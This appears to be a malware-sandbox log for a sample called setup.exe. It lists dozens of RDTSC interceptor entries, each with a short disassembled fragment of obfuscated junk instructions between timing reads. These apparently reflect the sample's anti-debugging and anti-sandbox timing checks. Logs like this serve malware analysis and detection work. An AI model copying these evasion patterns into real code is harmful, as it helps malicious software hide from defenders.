Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5110160 second address: 5110187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 push eax 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC169461AA9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5110187 second address: 5110197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC16945A27Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100042 second address: 5100056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC169461AA0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100056 second address: 5100128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A27Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e movsx ebx, ax 0x00000011 mov ebx, eax 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007FC16945A27Ah 0x0000001a jmp 00007FC16945A285h 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FC16945A27Ch 0x00000029 adc cx, B4C8h 0x0000002e jmp 00007FC16945A27Bh 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007FC16945A288h 0x0000003a add ah, 00000028h 0x0000003d jmp 00007FC16945A27Bh 0x00000042 popfd 0x00000043 popad 0x00000044 mov ebp, esp 0x00000046 pushad 0x00000047 call 00007FC16945A280h 0x0000004c mov bh, ah 0x0000004e pop edi 0x0000004f popad 0x00000050 pop ebp 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 pushfd 0x00000055 jmp 00007FC16945A27Fh 0x0000005a add si, CDCEh 0x0000005f jmp 00007FC16945A289h 0x00000064 popfd 0x00000065 push eax 0x00000066 pop edi 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100128 second address: 5100144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC169461AA8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5130B1A second address: 5130B46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A289h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC16945A27Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D00DF second address: 50D012D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 1C78C7E3h 0x00000008 pushfd 0x00000009 jmp 00007FC169461AA8h 0x0000000e xor ecx, 5E5AB828h 0x00000014 jmp 00007FC169461A9Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC169461AA5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D012D second address: 50D0133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0133 second address: 50D0137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D0137 second address: 50D013B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D013B second address: 50D0189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push esi 0x0000000b mov bh, 9Eh 0x0000000d pop ecx 0x0000000e push ebx 0x0000000f pushfd 0x00000010 jmp 00007FC169461AA8h 0x00000015 adc cl, 00000018h 0x00000018 jmp 00007FC169461A9Bh 0x0000001d popfd 0x0000001e pop esi 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FC169461AA2h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50D025E second address: 50D0264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0D04 second address: 50F0D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 18h 0x00000005 mov cx, 6ADFh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007FC169461AA2h 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007FC169461AA7h 0x0000001c and esi, 00E9778Eh 0x00000022 jmp 00007FC169461AA9h 0x00000027 popfd 0x00000028 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0D5F second address: 50F0D7D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edi, ecx 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC16945A280h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0D7D second address: 50F0D83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0843 second address: 50F0859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC16945A282h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0859 second address: 50F0892 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FC169461AA7h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC169461AA5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0892 second address: 50F0898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0898 second address: 50F089C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F089C second address: 50F08A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0712 second address: 50F07D7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC169461AA9h 0x00000008 and al, 00000006h 0x0000000b jmp 00007FC169461AA1h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 jmp 00007FC169461A9Eh 0x0000001a push eax 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FC169461AA1h 0x00000022 sub cx, 4216h 0x00000027 jmp 00007FC169461AA1h 0x0000002c popfd 0x0000002d movzx ecx, bx 0x00000030 popad 0x00000031 xchg eax, ebp 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FC169461AA9h 0x00000039 adc ah, 00000026h 0x0000003c jmp 00007FC169461AA1h 0x00000041 popfd 0x00000042 mov cx, A357h 0x00000046 popad 0x00000047 mov ebp, esp 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FC169461AA9h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F07D7 second address: 50F07DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F07DD second address: 50F07E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F04E3 second address: 50F0553 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC16945A282h 0x00000009 sbb eax, 24EDE2A8h 0x0000000f jmp 00007FC16945A27Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 pushad 0x0000001a pushad 0x0000001b call 00007FC16945A285h 0x00000020 pop ecx 0x00000021 mov di, 39B4h 0x00000025 popad 0x00000026 jmp 00007FC16945A27Dh 0x0000002b popad 0x0000002c xchg eax, ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 call 00007FC16945A283h 0x00000035 pop ecx 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100415 second address: 510041B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 510041B second address: 510041F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 510041F second address: 510048D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FC169461AA6h 0x00000011 push eax 0x00000012 jmp 00007FC169461A9Bh 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FC169461AA6h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FC169461AA7h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 510048D second address: 5100493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100493 second address: 5100497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5130AA2 second address: 5130AA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5110596 second address: 51105BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51105BA second address: 51105BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51105BE second address: 51105C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51105C4 second address: 51105C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51105C9 second address: 51105ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 76A4h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC169461AA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51105ED second address: 511061F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A27Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov di, cx 0x0000000f jmp 00007FC16945A280h 0x00000014 popad 0x00000015 mov eax, dword ptr [ebp+08h] 0x00000018 pushad 0x00000019 movzx ecx, di 0x0000001c push eax 0x0000001d push edx 0x0000001e movsx ebx, si 0x00000021 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 511061F second address: 511062D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 and dword ptr [eax], 00000000h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 511062D second address: 5110645 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A284h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5110645 second address: 511064B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 511064B second address: 511064F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 511064F second address: 5110661 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax+04h], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5110661 second address: 5110673 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A27Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5110673 second address: 5110679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5110679 second address: 511067D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F062F second address: 50F0640 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 538E5431h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0640 second address: 50F0655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FC16945A27Fh 0x00000009 pop ecx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0655 second address: 50F0665 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov cx, BF11h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F0665 second address: 50F06DF instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC16945A286h 0x00000008 xor eax, 52771D98h 0x0000000e jmp 00007FC16945A27Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 call 00007FC16945A288h 0x0000001b mov bx, si 0x0000001e pop esi 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 push ebx 0x00000023 call 00007FC16945A286h 0x00000028 pop ecx 0x00000029 pop ebx 0x0000002a movzx ecx, di 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 pushad 0x00000031 mov bx, D79Ch 0x00000035 movsx edx, cx 0x00000038 popad 0x00000039 pop ebp 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50F06DF second address: 50F06E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51100C6 second address: 51100CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51100CC second address: 51100D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51100D0 second address: 51100D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51100D4 second address: 51100FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FC169461A9Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC169461A9Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51100FA second address: 51100FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51100FE second address: 5110104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5110104 second address: 511010A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51301FD second address: 513020B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 513020B second address: 513020F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 513020F second address: 5130215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5130215 second address: 513025A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A286h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FC16945A280h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov cx, 581Dh 0x00000018 mov ebx, ecx 0x0000001a popad 0x0000001b xchg eax, ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FC16945A27Bh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 513025A second address: 513026B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 push ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 513026B second address: 513026F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 513026F second address: 5130275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5130275 second address: 5130285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC16945A27Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5130285 second address: 5130289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5130289 second address: 51302BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FC16945A27Dh 0x00000010 adc si, FD76h 0x00000015 jmp 00007FC16945A281h 0x0000001a popfd 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51302BC second address: 5130314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [76FB65FCh] 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC169461A9Fh 0x00000011 or al, FFFFFFAEh 0x00000014 jmp 00007FC169461AA9h 0x00000019 popfd 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007FC169461A9Eh 0x00000022 and ch, 00000028h 0x00000025 jmp 00007FC169461A9Bh 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5130314 second address: 513036C instructions: 0x00000000 rdtsc 0x00000002 call 00007FC16945A288h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b test eax, eax 0x0000000d jmp 00007FC16945A281h 0x00000012 je 00007FC1DB25D897h 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FC16945A27Ch 0x0000001f xor cl, FFFFFFE8h 0x00000022 jmp 00007FC16945A27Bh 0x00000027 popfd 0x00000028 push eax 0x00000029 push edx 0x0000002a mov ebx, eax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 513036C second address: 5130391 instructions: 0x00000000 rdtsc 0x00000002 mov dx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ecx, eax 0x0000000a pushad 0x0000000b jmp 00007FC169461A9Ah 0x00000010 mov ch, 05h 0x00000012 popad 0x00000013 xor eax, dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov di, F4EAh 0x0000001d mov ecx, edx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5130391 second address: 51303A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ah 0x00000005 mov cx, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and ecx, 1Fh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51303A4 second address: 51303EC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FC169461A9Fh 0x0000000c sub esi, 2D0DE2EEh 0x00000012 jmp 00007FC169461AA9h 0x00000017 popfd 0x00000018 popad 0x00000019 ror eax, cl 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FC169461A9Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51303EC second address: 51303F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51303F2 second address: 51303F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51303F6 second address: 5130405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5130405 second address: 5130409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5130409 second address: 513040F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0030 second address: 50E005A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 mov eax, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebp 0x0000000d jmp 00007FC169461AA5h 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E005A second address: 50E005E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E005E second address: 50E0071 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461A9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0071 second address: 50E0077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 50E0077 second address: 50E00C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461A9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e jmp 00007FC169461AA6h 0x00000013 xchg eax, ecx 0x00000014 pushad 0x00000015 mov si, C57Dh 0x00000019 push eax 0x0000001a pop edx 0x0000001b popad 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 call 00007FC169461AA3h 0x00000025 pop ecx 0x00000026 popad 0x00000027 rdtsc
